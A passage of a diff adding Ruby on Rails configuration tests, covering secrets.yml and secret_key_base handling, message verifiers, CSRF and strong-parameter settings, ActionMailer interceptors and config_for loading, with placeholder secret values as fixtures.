+      assert_equal "some_value", Rails.application.message_verifier(:sensitive_value).verify(message)
+    end
+
+    test "warns when secrets.secret_key_base is blank and config.secret_token is set" do
+      app_file "config/initializers/secret_token.rb", <<-RUBY
+        Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
+      RUBY
+      app_file "config/secrets.yml", <<-YAML
+        development:
+          secret_key_base:
+      YAML
+
+      app "development"
+
+      assert_deprecated(/You didn't set `secret_key_base`./) do
+        app.env_config
+      end
+    end
+
+    test "raise when secrets.secret_key_base is not a type of string" do
+      app_file "config/secrets.yml", <<-YAML
+        development:
+          secret_key_base: 123
+      YAML
+
+      app "development"
+
+      assert_raise(ArgumentError) do
+        app.key_generator
+      end
+    end
+
+    test "prefer secrets.secret_token over config.secret_token" do
+      app_file "config/initializers/secret_token.rb", <<-RUBY
+        Rails.application.config.secret_token = ""
+      RUBY
+      app_file "config/secrets.yml", <<-YAML
+        development:
+          secret_token: 3b7cd727ee24e8444053437c36cc66c3
+      YAML
+
+      app "development"
+
+      assert_equal "3b7cd727ee24e8444053437c36cc66c3", app.secrets.secret_token
+    end
+
+    test "application verifier can build different verifiers" do
+      make_basic_app do |application|
+        application.secrets.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33"
+        application.config.session_store :disabled
+      end
+
+      default_verifier = app.message_verifier(:sensitive_value)
+      text_verifier = app.message_verifier(:text)
+
+      message = text_verifier.generate("some_value")
+
+      assert_equal "some_value", text_verifier.verify(message)
+      assert_raises ActiveSupport::MessageVerifier::InvalidSignature do
+        default_verifier.verify(message)
+      end
+
+      assert_equal default_verifier.object_id, app.message_verifier(:sensitive_value).object_id
+      assert_not_equal default_verifier.object_id, text_verifier.object_id
+    end
+
+    test "secrets.secret_key_base is used when config/secrets.yml is present" do
+      app_file "config/secrets.yml", <<-YAML
+        development:
+          secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+      YAML
+
+      app "development"
+      assert_equal "3b7cd727ee24e8444053437c36cc66c3", app.secrets.secret_key_base
+    end
+
+    test "secret_key_base is copied from config to secrets when not set" do
+      remove_file "config/secrets.yml"
+      app_file "config/initializers/secret_token.rb", <<-RUBY
+        Rails.application.config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c3"
+      RUBY
+
+      app "development"
+      assert_equal "3b7cd727ee24e8444053437c36cc66c3", app.secrets.secret_key_base
+    end
+
+    test "config.secret_token over-writes a blank secrets.secret_token" do
+      app_file "config/initializers/secret_token.rb", <<-RUBY
+        Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
+      RUBY
+      app_file "config/secrets.yml", <<-YAML
+        development:
+          secret_key_base:
+          secret_token:
+      YAML
+
+      app "development"
+
+      assert_equal "b3c631c314c0bbca50c1b2843150fe33", app.secrets.secret_token
+      assert_equal "b3c631c314c0bbca50c1b2843150fe33", app.config.secret_token
+    end
+
+    test "custom secrets saved in config/secrets.yml are loaded in app secrets" do
+      app_file "config/secrets.yml", <<-YAML
+        development:
+          secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+          aws_access_key_id: myamazonaccesskeyid
+          aws_secret_access_key: myamazonsecretaccesskey
+      YAML
+
+      app "development"
+
+      assert_equal "myamazonaccesskeyid", app.secrets.aws_access_key_id
+      assert_equal "myamazonsecretaccesskey", app.secrets.aws_secret_access_key
+    end
+
+    test "shared secrets saved in config/secrets.yml are loaded in app secrets" do
+      app_file "config/secrets.yml", <<-YAML
+        shared:
+          api_key: 3b7cd727
+      YAML
+
+      app "development"
+
+      assert_equal "3b7cd727", app.secrets.api_key
+    end
+
+    test "shared secrets will yield to environment specific secrets" do
+      app_file "config/secrets.yml", <<-YAML
+        shared:
+          api_key: 3b7cd727
+
+        development:
+          api_key: abc12345
+      YAML
+
+      app "development"
+
+      assert_equal "abc12345", app.secrets.api_key
+    end
+
+    test "blank config/secrets.yml does not crash the loading process" do
+      app_file "config/secrets.yml", <<-YAML
+      YAML
+
+      app "development"
+
+      assert_nil app.secrets.not_defined
+    end
+
+    test "config.secret_key_base over-writes a blank secrets.secret_key_base" do
+      app_file "config/initializers/secret_token.rb", <<-RUBY
+        Rails.application.config.secret_key_base = "iaminallyoursecretkeybase"
+      RUBY
+      app_file "config/secrets.yml", <<-YAML
+        development:
+          secret_key_base:
+      YAML
+
+      app "development"
+
+      assert_equal "iaminallyoursecretkeybase", app.secrets.secret_key_base
+    end
+
+    test "uses ActiveSupport::LegacyKeyGenerator as app.key_generator when secrets.secret_key_base is blank" do
+      app_file "config/initializers/secret_token.rb", <<-RUBY
+        Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
+      RUBY
+      app_file "config/secrets.yml", <<-YAML
+        development:
+          secret_key_base:
+      YAML
+
+      app "development"
+
+      assert_equal "b3c631c314c0bbca50c1b2843150fe33", app.config.secret_token
+      assert_nil app.secrets.secret_key_base
+      assert_equal app.key_generator.class, ActiveSupport::LegacyKeyGenerator
+    end
+
+    test "uses ActiveSupport::LegacyKeyGenerator with config.secret_token as app.key_generator when secrets.secret_key_base is blank" do
+      app_file "config/initializers/secret_token.rb", <<-RUBY
+        Rails.application.config.secret_token = ""
+      RUBY
+      app_file "config/secrets.yml", <<-YAML
+        development:
+          secret_key_base:
+      YAML
+
+      app "development"
+
+      assert_equal "", app.config.secret_token
+      assert_nil app.secrets.secret_key_base
+      e = assert_raise ArgumentError do
+        app.key_generator
+      end
+      assert_match(/\AA secret is required/, e.message)
+    end
+
+    test "that nested keys are symbolized the same as parents for hashes more than one level deep" do
+      app_file "config/secrets.yml", <<-YAML
+        development:
+          smtp_settings:
+            address: "smtp.example.com"
+            user_name: "postmaster@example.com"
+            password: "697361616320736c6f616e2028656c6f7265737429"
+      YAML
+
+      app "development"
+
+      assert_equal "697361616320736c6f616e2028656c6f7265737429", app.secrets.smtp_settings[:password]
+    end
+
+    test "protect from forgery is the default in a new app" do
+      make_basic_app
+
+      class ::OmgController < ActionController::Base
+        def index
+          render inline: "<%= csrf_meta_tags %>"
+        end
+      end
+
+      get "/"
+      assert last_response.body =~ /csrf\-param/
+    end
+
+    test "default form builder specified as a string" do
+      app_file "config/initializers/form_builder.rb", <<-RUBY
+      class CustomFormBuilder < ActionView::Helpers::FormBuilder
+        def text_field(attribute, *args)
+          label(attribute) + super(attribute, *args)
+        end
+      end
+      Rails.configuration.action_view.default_form_builder = "CustomFormBuilder"
+      RUBY
+
+      app_file "app/models/post.rb", <<-RUBY
+      class Post
+        include ActiveModel::Model
+        attr_accessor :name
+      end
+      RUBY
+
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+      class PostsController < ApplicationController
+        def index
+          render inline: "<%= begin; form_for(Post.new) {|f| f.text_field(:name)}; rescue => e; e.to_s; end %>"
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+      RUBY
+
+      app "development"
+
+      get "/posts"
+      assert_match(/label/, last_response.body)
+    end
+
+    test "form_with can be configured with form_with_generates_remote_forms" do
+      app_file "config/initializers/form_builder.rb", <<-RUBY
+      Rails.configuration.action_view.form_with_generates_remote_forms = false
+      RUBY
+
+      app_file "app/models/post.rb", <<-RUBY
+      class Post
+        include ActiveModel::Model
+        attr_accessor :name
+      end
+      RUBY
+
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+      class PostsController < ApplicationController
+        def index
+          render inline: "<%= begin; form_with(model: Post.new) {|f| f.text_field(:name)}; rescue => e; e.to_s; end %>"
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+      RUBY
+
+      app "development"
+
+      get "/posts"
+      assert_no_match(/data-remote/, last_response.body)
+    end
+
+    test "form_with generates remote forms by default" do
+      app_file "app/models/post.rb", <<-RUBY
+      class Post
+        include ActiveModel::Model
+        attr_accessor :name
+      end
+      RUBY
+
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+      class PostsController < ApplicationController
+        def index
+          render inline: "<%= begin; form_with(model: Post.new) {|f| f.text_field(:name)}; rescue => e; e.to_s; end %>"
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+      RUBY
+
+      app "development"
+
+      get "/posts"
+      assert_match(/data-remote/, last_response.body)
+    end
+
+    test "default method for update can be changed" do
+      app_file "app/models/post.rb", <<-RUBY
+      class Post
+        include ActiveModel::Model
+        def to_key; [1]; end
+        def persisted?; true; end
+      end
+      RUBY
+
+      token = "cf50faa3fe97702ca1ae"
+
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+      class PostsController < ApplicationController
+        def show
+          render inline: "<%= begin; form_for(Post.new) {}; rescue => e; e.to_s; end %>"
+        end
+
+        def update
+          render plain: "update"
+        end
+
+        private
+
+        def form_authenticity_token(*args); token; end # stub the authenticity token
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+      RUBY
+
+      app "development"
+
+      params = { authenticity_token: token }
+
+      get "/posts/1"
+      assert_match(/patch/, last_response.body)
+
+      patch "/posts/1", params
+      assert_match(/update/, last_response.body)
+
+      patch "/posts/1", params
+      assert_equal 200, last_response.status
+
+      put "/posts/1", params
+      assert_match(/update/, last_response.body)
+
+      put "/posts/1", params
+      assert_equal 200, last_response.status
+    end
+
+    test "request forgery token param can be changed" do
+      make_basic_app do |application|
+        application.config.action_controller.request_forgery_protection_token = "_xsrf_token_here"
+      end
+
+      class ::OmgController < ActionController::Base
+        def index
+          render inline: "<%= csrf_meta_tags %>"
+        end
+      end
+
+      get "/"
+      assert_match "_xsrf_token_here", last_response.body
+    end
+
+    test "sets ActionDispatch.test_app" do
+      make_basic_app
+      assert_equal Rails.application, ActionDispatch.test_app
+    end
+
+    test "sets ActionDispatch::Response.default_charset" do
+      make_basic_app do |application|
+        application.config.action_dispatch.default_charset = "utf-16"
+      end
+
+      assert_equal "utf-16", ActionDispatch::Response.default_charset
+    end
+
+    test "registers interceptors with ActionMailer" do
+      add_to_config <<-RUBY
+        config.action_mailer.interceptors = MyMailInterceptor
+      RUBY
+
+      app "development"
+
+      require "mail"
+      _ = ActionMailer::Base
+
+      assert_equal [::MyMailInterceptor], ::Mail.class_variable_get(:@@delivery_interceptors)
+    end
+
+    test "registers multiple interceptors with ActionMailer" do
+      add_to_config <<-RUBY
+        config.action_mailer.interceptors = [MyMailInterceptor, "MyOtherMailInterceptor"]
+      RUBY
+
+      app "development"
+
+      require "mail"
+      _ = ActionMailer::Base
+
+      assert_equal [::MyMailInterceptor, ::MyOtherMailInterceptor], ::Mail.class_variable_get(:@@delivery_interceptors)
+    end
+
+    test "registers preview interceptors with ActionMailer" do
+      add_to_config <<-RUBY
+        config.action_mailer.preview_interceptors = MyPreviewMailInterceptor
+      RUBY
+
+      app "development"
+
+      require "mail"
+      _ = ActionMailer::Base
+
+      assert_equal [ActionMailer::InlinePreviewInterceptor, ::MyPreviewMailInterceptor], ActionMailer::Base.preview_interceptors
+    end
+
+    test "registers multiple preview interceptors with ActionMailer" do
+      add_to_config <<-RUBY
+        config.action_mailer.preview_interceptors = [MyPreviewMailInterceptor, "MyOtherPreviewMailInterceptor"]
+      RUBY
+
+      app "development"
+
+      require "mail"
+      _ = ActionMailer::Base
+
+      assert_equal [ActionMailer::InlinePreviewInterceptor, MyPreviewMailInterceptor, MyOtherPreviewMailInterceptor], ActionMailer::Base.preview_interceptors
+    end
+
+    test "default preview interceptor can be removed" do
+      app_file "config/initializers/preview_interceptors.rb", <<-RUBY
+        ActionMailer::Base.preview_interceptors.delete(ActionMailer::InlinePreviewInterceptor)
+      RUBY
+
+      app "development"
+
+      require "mail"
+      _ = ActionMailer::Base
+
+      assert_equal [], ActionMailer::Base.preview_interceptors
+    end
+
+    test "registers observers with ActionMailer" do
+      add_to_config <<-RUBY
+        config.action_mailer.observers = MyMailObserver
+      RUBY
+
+      app "development"
+
+      require "mail"
+      _ = ActionMailer::Base
+
+      assert_equal [::MyMailObserver], ::Mail.class_variable_get(:@@delivery_notification_observers)
+    end
+
+    test "registers multiple observers with ActionMailer" do
+      add_to_config <<-RUBY
+        config.action_mailer.observers = [MyMailObserver, "MyOtherMailObserver"]
+      RUBY
+
+      app "development"
+
+      require "mail"
+      _ = ActionMailer::Base
+
+      assert_equal [::MyMailObserver, ::MyOtherMailObserver], ::Mail.class_variable_get(:@@delivery_notification_observers)
+    end
+
+    test "allows setting the queue name for the ActionMailer::DeliveryJob" do
+      add_to_config <<-RUBY
+        config.action_mailer.deliver_later_queue_name = 'test_default'
+      RUBY
+
+      app "development"
+
+      require "mail"
+      _ = ActionMailer::Base
+
+      assert_equal "test_default", ActionMailer::Base.class_variable_get(:@@deliver_later_queue_name)
+    end
+
+    test "valid timezone is setup correctly" do
+      add_to_config <<-RUBY
+        config.root = "#{app_path}"
+        config.time_zone = "Wellington"
+      RUBY
+
+      app "development"
+
+      assert_equal "Wellington", Rails.application.config.time_zone
+    end
+
+    test "raises when an invalid timezone is defined in the config" do
+      add_to_config <<-RUBY
+        config.root = "#{app_path}"
+        config.time_zone = "That big hill over yonder hill"
+      RUBY
+
+      assert_raise(ArgumentError) do
+        app "development"
+      end
+    end
+
+    test "valid beginning of week is setup correctly" do
+      add_to_config <<-RUBY
+        config.root = "#{app_path}"
+        config.beginning_of_week = :wednesday
+      RUBY
+
+      app "development"
+
+      assert_equal :wednesday, Rails.application.config.beginning_of_week
+    end
+
+    test "raises when an invalid beginning of week is defined in the config" do
+      add_to_config <<-RUBY
+        config.root = "#{app_path}"
+        config.beginning_of_week = :invalid
+      RUBY
+
+      assert_raise(ArgumentError) do
+        app "development"
+      end
+    end
+
+    test "config.action_view.cache_template_loading with cache_classes default" do
+      add_to_config "config.cache_classes = true"
+
+      app "development"
+      require "action_view/base"
+
+      assert_equal true, ActionView::Resolver.caching?
+    end
+
+    test "config.action_view.cache_template_loading without cache_classes default" do
+      add_to_config "config.cache_classes = false"
+
+      app "development"
+      require "action_view/base"
+
+      assert_equal false, ActionView::Resolver.caching?
+    end
+
+    test "config.action_view.cache_template_loading = false" do
+      add_to_config <<-RUBY
+        config.cache_classes = true
+        config.action_view.cache_template_loading = false
+      RUBY
+
+      app "development"
+      require "action_view/base"
+
+      assert_equal false, ActionView::Resolver.caching?
+    end
+
+    test "config.action_view.cache_template_loading = true" do
+      add_to_config <<-RUBY
+        config.cache_classes = false
+        config.action_view.cache_template_loading = true
+      RUBY
+
+      app "development"
+      require "action_view/base"
+
+      assert_equal true, ActionView::Resolver.caching?
+    end
+
+    test "config.action_view.cache_template_loading with cache_classes in an environment" do
+      build_app(initializers: true)
+      add_to_env_config "development", "config.cache_classes = false"
+
+      # These requires are to emulate an engine loading Action View before the application
+      require "action_view"
+      require "action_view/railtie"
+      require "action_view/base"
+
+      app "development"
+
+      assert_equal false, ActionView::Resolver.caching?
+    end
+
+    test "config.action_dispatch.show_exceptions is sent in env" do
+      make_basic_app do |application|
+        application.config.action_dispatch.show_exceptions = true
+      end
+
+      class ::OmgController < ActionController::Base
+        def index
+          render plain: request.env["action_dispatch.show_exceptions"]
+        end
+      end
+
+      get "/"
+      assert_equal "true", last_response.body
+    end
+
+    test "config.action_controller.wrap_parameters is set in ActionController::Base" do
+      app_file "config/initializers/wrap_parameters.rb", <<-RUBY
+        ActionController::Base.wrap_parameters format: [:json]
+      RUBY
+
+      app_file "app/models/post.rb", <<-RUBY
+      class Post
+        def self.attribute_names
+          %w(title)
+        end
+      end
+      RUBY
+
+      app_file "app/controllers/application_controller.rb", <<-RUBY
+      class ApplicationController < ActionController::Base
+        protect_from_forgery with: :reset_session # as we are testing API here
+      end
+      RUBY
+
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+      class PostsController < ApplicationController
+        def create
+          render plain: params[:post].inspect
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+      RUBY
+
+      app "development"
+
+      post "/posts.json", '{ "title": "foo", "name": "bar" }', "CONTENT_TYPE" => "application/json"
+      assert_equal '<ActionController::Parameters {"title"=>"foo"} permitted: false>', last_response.body
+    end
+
+    test "config.action_controller.permit_all_parameters = true" do
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+      class PostsController < ActionController::Base
+        def create
+          render plain: params[:post].permitted? ? "permitted" : "forbidden"
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+        config.action_controller.permit_all_parameters = true
+      RUBY
+
+      app "development"
+
+      post "/posts", post: { "title" => "zomg" }
+      assert_equal "permitted", last_response.body
+    end
+
+    test "config.action_controller.action_on_unpermitted_parameters = :raise" do
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+      class PostsController < ActionController::Base
+        def create
+          render plain: params.require(:post).permit(:name)
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+        config.action_controller.action_on_unpermitted_parameters = :raise
+      RUBY
+
+      app "development"
+
+      force_lazy_load_hooks { ActionController::Base }
+
+      assert_equal :raise, ActionController::Parameters.action_on_unpermitted_parameters
+
+      post "/posts", post: { "title" => "zomg" }
+      assert_match "We're sorry, but something went wrong", last_response.body
+    end
+
+    test "config.action_controller.always_permitted_parameters are: controller, action by default" do
+      app "development"
+
+      force_lazy_load_hooks { ActionController::Base }
+
+      assert_equal %w(controller action), ActionController::Parameters.always_permitted_parameters
+    end
+
+    test "config.action_controller.always_permitted_parameters = ['controller', 'action', 'format']" do
+      add_to_config <<-RUBY
+        config.action_controller.always_permitted_parameters = %w( controller action format )
+      RUBY
+
+      app "development"
+
+      force_lazy_load_hooks { ActionController::Base }
+
+      assert_equal %w( controller action format ), ActionController::Parameters.always_permitted_parameters
+    end
+
+    test "config.action_controller.always_permitted_parameters = ['controller','action','format'] does not raise exception" do
+      app_file "app/controllers/posts_controller.rb", <<-RUBY
+      class PostsController < ActionController::Base
+        def create
+          render plain: params.permit(post: [:title])
+        end
+      end
+      RUBY
+
+      add_to_config <<-RUBY
+        routes.prepend do
+          resources :posts
+        end
+        config.action_controller.always_permitted_parameters = %w( controller action format )
+        config.action_controller.action_on_unpermitted_parameters = :raise
+      RUBY
+
+      app "development"
+
+      force_lazy_load_hooks { ActionController::Base }
+
+      assert_equal :raise, ActionController::Parameters.action_on_unpermitted_parameters
+
+      post "/posts", post: { "title" => "zomg" }, format: "json"
+      assert_equal 200, last_response.status
+    end
+
+    test "config.action_controller.action_on_unpermitted_parameters is :log by default on development" do
+      app "development"
+
+      force_lazy_load_hooks { ActionController::Base }
+
+      assert_equal :log, ActionController::Parameters.action_on_unpermitted_parameters
+    end
+
+    test "config.action_controller.action_on_unpermitted_parameters is :log by default on test" do
+      app "test"
+
+      force_lazy_load_hooks { ActionController::Base }
+
+      assert_equal :log, ActionController::Parameters.action_on_unpermitted_parameters
+    end
+
+    test "config.action_controller.action_on_unpermitted_parameters is false by default on production" do
+      app "production"
+
+      force_lazy_load_hooks { ActionController::Base }
+
+      assert_equal false, ActionController::Parameters.action_on_unpermitted_parameters
+    end
+
+    test "config.action_controller.default_protect_from_forgery is true by default" do
+      app "development"
+
+      assert_equal true, ActionController::Base.default_protect_from_forgery
+      assert_includes ActionController::Base.__callbacks[:process_action].map(&:filter), :verify_authenticity_token
+    end
+
+    test "config.action_controller.permit_all_parameters can be configured in an initializer" do
+      app_file "config/initializers/permit_all_parameters.rb", <<-RUBY
+        Rails.application.config.action_controller.permit_all_parameters = true
+      RUBY
+
+      app "development"
+
+      force_lazy_load_hooks { ActionController::Base }
+      assert_equal true, ActionController::Parameters.permit_all_parameters
+    end
+
+    test "config.action_controller.always_permitted_parameters can be configured in an initializer" do
+      app_file "config/initializers/always_permitted_parameters.rb", <<-RUBY
+        Rails.application.config.action_controller.always_permitted_parameters = []
+      RUBY
+
+      app "development"
+
+      force_lazy_load_hooks { ActionController::Base }
+      assert_equal [], ActionController::Parameters.always_permitted_parameters
+    end
+
+    test "config.action_controller.action_on_unpermitted_parameters can be configured in an initializer" do
+      app_file "config/initializers/action_on_unpermitted_parameters.rb", <<-RUBY
+        Rails.application.config.action_controller.action_on_unpermitted_parameters = :raise
+      RUBY
+
+      app "development"
+
+      force_lazy_load_hooks { ActionController::Base }
+      assert_equal :raise, ActionController::Parameters.action_on_unpermitted_parameters
+    end
+
+    test "config.action_dispatch.ignore_accept_header" do
+      make_basic_app do |application|
+        application.config.action_dispatch.ignore_accept_header = true
+      end
+
+      class ::OmgController < ActionController::Base
+        def index
+          respond_to do |format|
+            format.html { render plain: "HTML" }
+            format.xml { render plain: "XML" }
+          end
+        end
+      end
+
+      get "/", {}, "HTTP_ACCEPT" => "application/xml"
+      assert_equal "HTML", last_response.body
+
+      get "/", { format: :xml }, "HTTP_ACCEPT" => "application/xml"
+      assert_equal "XML", last_response.body
+    end
+
+    test "Rails.application#env_config exists and include some existing parameters" do
+      make_basic_app
+
+      assert_equal      app.env_config["action_dispatch.parameter_filter"],  app.config.filter_parameters
+      assert_equal      app.env_config["action_dispatch.show_exceptions"],   app.config.action_dispatch.show_exceptions
+      assert_equal      app.env_config["action_dispatch.logger"],            Rails.logger
+      assert_equal      app.env_config["action_dispatch.backtrace_cleaner"], Rails.backtrace_cleaner
+      assert_equal      app.env_config["action_dispatch.key_generator"],     Rails.application.key_generator
+    end
+
+    test "config.colorize_logging default is true" do
+      make_basic_app
+      assert app.config.colorize_logging
+    end
+
+    test "config.session_store with :active_record_store with activerecord-session_store gem" do
+      begin
+        make_basic_app do |application|
+          ActionDispatch::Session::ActiveRecordStore = Class.new(ActionDispatch::Session::CookieStore)
+          application.config.session_store :active_record_store
+        end
+      ensure
+        ActionDispatch::Session.send :remove_const, :ActiveRecordStore
+      end
+    end
+
+    test "config.session_store with :active_record_store without activerecord-session_store gem" do
+      e = assert_raise RuntimeError do
+        make_basic_app do |application|
+          application.config.session_store :active_record_store
+        end
+      end
+      assert_match(/activerecord-session_store/, e.message)
+    end
+
+    test "default session store initializer does not overwrite the user defined session store even if it is disabled" do
+      make_basic_app do |application|
+        application.config.session_store :disabled
+      end
+
+      assert_nil app.config.session_store
+    end
+
+    test "default session store initializer sets session store to cookie store" do
+      session_options = { key: "_myapp_session", cookie_only: true }
+      make_basic_app
+
+      assert_equal ActionDispatch::Session::CookieStore, app.config.session_store
+      assert_equal session_options, app.config.session_options
+    end
+
+    test "config.log_level with custom logger" do
+      make_basic_app do |application|
+        application.config.logger = Logger.new(STDOUT)
+        application.config.log_level = :info
+      end
+      assert_equal Logger::INFO, Rails.logger.level
+    end
+
+    test "respond_to? accepts include_private" do
+      make_basic_app
+
+      assert_not Rails.configuration.respond_to?(:method_missing)
+      assert Rails.configuration.respond_to?(:method_missing, true)
+    end
+
+    test "config.active_record.dump_schema_after_migration is false on production" do
+      build_app
+
+      app "production"
+
+      assert_not ActiveRecord::Base.dump_schema_after_migration
+    end
+
+    test "config.active_record.dump_schema_after_migration is true by default on development" do
+      app "development"
+
+      assert ActiveRecord::Base.dump_schema_after_migration
+    end
+
+    test "config.annotations wrapping SourceAnnotationExtractor::Annotation class" do
+      make_basic_app do |application|
+        application.config.annotations.register_extensions("coffee") do |tag|
+          /#\s*(#{tag}):?\s*(.*)$/
+        end
+      end
+
+      assert_not_nil SourceAnnotationExtractor::Annotation.extensions[/\.(coffee)$/]
+    end
+
+    test "rake_tasks block works at instance level" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.ran_block = false
+
+          rake_tasks do
+            config.ran_block = true
+          end
+        end
+      RUBY
+
+      app "development"
+      assert_not Rails.configuration.ran_block
+
+      require "rake"
+      require "rake/testtask"
+      require "rdoc/task"
+
+      Rails.application.load_tasks
+      assert Rails.configuration.ran_block
+    end
+
+    test "generators block works at instance level" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.ran_block = false
+
+          generators do
+            config.ran_block = true
+          end
+        end
+      RUBY
+
+      app "development"
+      assert_not Rails.configuration.ran_block
+
+      Rails.application.load_generators
+      assert Rails.configuration.ran_block
+    end
+
+    test "console block works at instance level" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.ran_block = false
+
+          console do
+            config.ran_block = true
+          end
+        end
+      RUBY
+
+      app "development"
+      assert_not Rails.configuration.ran_block
+
+      Rails.application.load_console
+      assert Rails.configuration.ran_block
+    end
+
+    test "runner block works at instance level" do
+      app_file "config/environments/development.rb", <<-RUBY
+        Rails.application.configure do
+          config.ran_block = false
+
+          runner do
+            config.ran_block = true
+          end
+        end
+      RUBY
+
+      app "development"
+      assert_not Rails.configuration.ran_block
+
+      Rails.application.load_runner
+      assert Rails.configuration.ran_block
+    end
+
+    test "loading the first existing database configuration available" do
+      app_file "config/environments/development.rb", <<-RUBY
+
+      Rails.application.configure do
+        config.paths.add 'config/database', with: 'config/nonexistent.yml'
+        config.paths['config/database'] << 'config/database.yml'
+        end
+      RUBY
+
+      app "development"
+
+      assert_kind_of Hash, Rails.application.config.database_configuration
+    end
+
+    test "raises with proper error message if no database configuration found" do
+      FileUtils.rm("#{app_path}/config/database.yml")
+      app "development"
+      err = assert_raises RuntimeError do
+        Rails.application.config.database_configuration
+      end
+      assert_match "config/database", err.message
+    end
+
+    test "loads database.yml using shared keys" do
+      app_file "config/database.yml", <<-YAML
+        shared:
+          username: bobby
+          adapter: sqlite3
+
+        development:
+          database: 'dev_db'
+      YAML
+
+      app "development"
+
+      ar_config = Rails.application.config.database_configuration
+      assert_equal "sqlite3", ar_config["development"]["adapter"]
+      assert_equal "bobby",   ar_config["development"]["username"]
+      assert_equal "dev_db",  ar_config["development"]["database"]
+    end
+
+    test "loads database.yml using shared keys for undefined environments" do
+      app_file "config/database.yml", <<-YAML
+        shared:
+          username: bobby
+          adapter: sqlite3
+          database: 'dev_db'
+      YAML
+
+      app "development"
+
+      ar_config = Rails.application.config.database_configuration
+      assert_equal "sqlite3", ar_config["development"]["adapter"]
+      assert_equal "bobby",   ar_config["development"]["username"]
+      assert_equal "dev_db",  ar_config["development"]["database"]
+    end
+
+    test "config.action_mailer.show_previews defaults to true in development" do
+      app "development"
+
+      assert Rails.application.config.action_mailer.show_previews
+    end
+
+    test "config.action_mailer.show_previews defaults to false in production" do
+      app "production"
+
+      assert_equal false, Rails.application.config.action_mailer.show_previews
+    end
+
+    test "config.action_mailer.show_previews can be set in the configuration file" do
+      add_to_config <<-RUBY
+        config.action_mailer.show_previews = true
+      RUBY
+
+      app "production"
+
+      assert_equal true, Rails.application.config.action_mailer.show_previews
+    end
+
+    test "config_for loads custom configuration from yaml files" do
+      app_file "config/custom.yml", <<-RUBY
+      development:
+        key: 'custom key'
+      RUBY
+
+      add_to_config <<-RUBY
+        config.my_custom_config = config_for('custom')
+      RUBY
+
+      app "development"
+
+      assert_equal "custom key", Rails.application.config.my_custom_config["key"]
+    end
+
+    test "config_for uses the Pathname object if it is provided" do
+      app_file "config/custom.yml", <<-RUBY
+      development:
+        key: 'custom key'
+      RUBY
+
+      add_to_config <<-RUBY
+        config.my_custom_config = config_for(Pathname.new(Rails.root.join("config/custom.yml")))
+      RUBY
+
+      app "development"
+
+      assert_equal "custom key", Rails.application.config.my_custom_config["key"]
+    end
+
+    test "config_for raises an exception if the file does not exist" do
+      add_to_config <<-RUBY
+        config.my_custom_config = config_for('custom')
+      RUBY
+
+      exception = assert_raises(RuntimeError) do
+        app "development"
+      end
+
+      assert_equal "Could not load configuration. No such file - #{app_path}/config/custom.yml", exception.message
+    end
+
+    test "config_for without the environment configured returns an empty hash" do
+      app_file "config/custom.yml", <<-RUBY
+      test:
+        key: 'custom key'
+      RUBY
+
+      add_to_config <<-RUBY
+        config.my_custom_config = config_for('custom')
+      RUBY
+
+      app "development"
+
+      assert_equal({}, Rails.application.config.my_custom_config)
+    end
+
+    test "config_for with empty file returns an empty hash" do
+      app_file "config/custom.yml", <<-RUBY
+      RUBY
+
+      add_to_config <<-RUBY
+        config.my_custom_config = config_for('custom')
+      RUBY
+
+      app "development"
+
+      assert_equal({}, Rails.application.config.my_custom_config)
+    end
+
+    test "default SQLite3Adapter.represent_boolean_as_integer for 5.1 is false" do
+      remove_from_config '.*config\.load_defaults.*\n'
+      add_to_top_of_config <<-RUBY
+        config.load_defaults 5.1
+      RUBY
+      app_file "app/models/post.rb", <<-RUBY
+        class Post < ActiveRecord::Base
+        end
+      RUBY
+
+      app "development"
+      force_lazy_load_hooks { Post }
+
+      assert_not ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer
+    end
+
+    test "default SQLite3Adapter.represent_boolean_as_integer for new installs is true" do
+      app_file "app/models/post.rb", <<-RUBY
+        class Post < ActiveRecord::Base
+        end
+      RUBY
+
+      app "development"
+      force_lazy_load_hooks { Post }
+
+      assert ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer
+    end
+
+    test "represent_boolean_as_integer should be able to set via config.active_record.sqlite3.represent_boolean_as_integer" do
+      remove_from_config '.*config\.load_defaults.*\n'
+
+      app_file "config/initializers/new_framework_defaults_5_2.rb", <<-RUBY
+        Rails.application.config.active_record.sqlite3.represent_boolean_as_integer = true
+      RUBY
+
+      app_file "app/models/post.rb", <<-RUBY
+        class Post < ActiveRecord::Base
+        end
+      RUBY
+
+      app "development"
+      force_lazy_load_hooks { Post }
+
+      assert ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer
+    end
+
+    test "config_for containing ERB tags should evaluate" do
+      app_file "config/custom.yml", <<-RUBY
+      development:
+        key: <%= 'custom key' %>
+      RUBY
+
+      add_to_config <<-RUBY
+        config.my_custom_config = config_for('custom')
+      RUBY
+
+      app "development"
+
